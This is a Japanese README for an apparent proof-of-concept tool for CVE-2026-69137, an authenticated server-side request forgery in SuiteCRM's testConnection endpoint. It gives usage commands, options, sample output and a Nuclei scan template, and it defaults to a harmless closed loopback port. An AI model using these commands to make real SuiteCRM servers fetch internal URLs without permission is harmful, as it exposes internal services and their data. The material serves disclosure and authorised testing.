entrovyx/cve-2026-69137SuiteCRM <= 7.15.1、<= 8.10.1 - 認証済みSSRF
CalendarAccount/testConnection エンドポイントと caldav_basic プロバイダーを経由した SuiteCRM の認証済みサーバーサイドリクエストフォージェリの概念実証です。
影響を受ける SuiteCRM のバージョンでは、認証済みユーザーの server_url を受け取り、宛先を検証せずに cURL に渡します。これにより、ループバックや内部 HTTP サービスへのサーバーサイドリクエストが可能になります。脆弱なリリースでは、接続失敗の応答がエラーメッセージ内で取得したサービスの応答データを開示する場合もあります。
この PoC は有効な SuiteCRM アカウントで認証し、制御された URL をリクエストします。デフォルトの宛先 http://127.0.0.1:1/ は閉じたループバックポートです。これにより、外部サービスをリクエストすることなく、SuiteCRM がサーバーサイド接続を試みたことを証明します。
--server-url で指定する宛先をテストする権限サードパーティの Python パッケージは不要です。
SuiteCRM に対する基本的なローカル検証:
python3 CVE-2026-69137.py \
-u http://127.0.0.1:8081 \
-U admin \
-P 'password'
既存の認証済みセッションを使用する場合:
python3 CVE-2026-69137.py \
-u https://suitecrm.example \
--cookie 'PHPSESSID=value'
許可された内部または制御された宛先をテストする場合:
python3 CVE-2026-69137.py \
-u https://suitecrm.example \
-U user \
-P 'password' \
--server-url http://127.0.0.1:8080/
-u, --url SuiteCRM のベース URL
-U, --username SuiteCRM のユーザー名
-P, --password SuiteCRM のパスワード
--cookie 認証済み SuiteCRM の Cookie ヘッダー値
--server-url SuiteCRM が取得する URL。デフォルト: http://127.0.0.1:1/
--timeout HTTP タイムアウト（秒）。デフォルト: 35
-k, --insecure TLS 証明書の検証を無効化
脆弱なバージョンでは、指定された URL を処理した後に接続テストの失敗が返されます:
[*] Authenticating with SuiteCRM legacy login...
[*] Sending testConnection request with server_url=http://127.0.0.1:1/
[!] Vulnerable behavior confirmed: SuiteCRM processed the supplied server_url.
Server message: Connection test failed. Network error: Failed to connect to 127.0.0.1 port 1 ...
修正済みのバージョンでは、接続を試みる前に許可されていない宛先を拒否します:
[+] Target rejected the supplied URL; the SSRF fix appears to be present.
CVE-2026-69137.yaml は username と password で認証し、SuiteCRM のセッションを再利用して、同じ閉じたループバックへのプローブを実行します:
nuclei -u https://suitecrm.example \
-t CVE-2026-69137.yaml \
-var username=user \
-var password='password'
テンプレートは以下で検証されました:
nuclei -validate -t CVE-2026-69137.yaml
--server-url は、テストする権限がある宛先に対してのみ使用してください。